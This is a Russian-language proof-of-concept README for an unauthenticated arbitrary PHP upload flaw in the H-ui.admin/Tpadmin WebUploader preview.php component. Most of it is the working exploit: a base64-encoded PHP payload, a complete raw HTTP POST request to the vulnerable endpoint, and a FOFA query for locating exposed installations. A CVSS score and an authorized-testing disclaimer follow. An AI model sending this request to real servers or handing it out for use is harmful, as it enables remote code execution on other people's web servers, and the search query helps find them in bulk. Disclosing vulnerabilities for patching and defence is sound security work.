maxmnml/tpadmin-cve-2026-2113-pocУязвимость удалённого выполнения кода, позволяющая неаутентифицированным злоумышленникам загружать произвольные PHP-файлы напрямую на веб-сервер. Это приводит к немедленному удалённому выполнению кода с привилегиями веб-сервера.
Доказательство концепции эксплуатации удалённого выполнения кода с привилегиями веб-сервера через произвольную загрузку файлов.
Критическая уязвимость удалённого выполнения кода существует в компоненте предварительного просмотра WebUploader системы H-ui.admin. Файл /public/static/admin/lib/webuploader/0.1.5/server/preview.php не имеет надлежащей аутентификации и проверки файлов, что позволяет неавторизованным злоумышленникам загружать произвольные PHP-файлы напрямую на веб-сервер. Это приводит к немедленному удалённому выполнению кода с привилегиями веб-сервера.
printf "<? php phpinfo();?>" | base64
PD9waHAgcGhwaW5mbygpOz8+
POST /admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=6mqs895r9r0k9ci9jj0hms506n
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
FOFA:
title='Tpadmin'
Неавторизованный удалённый злоумышленник может использовать произвольную загрузку файлов для получения RCE с привилегиями веб-сервера.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P - 6.9:Medium
Данных о возможных мерах противодействия нет. Рекомендуется заменить затронутый компонент альтернативным продуктом.
Этот инструмент предназначен только для авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам противозаконен.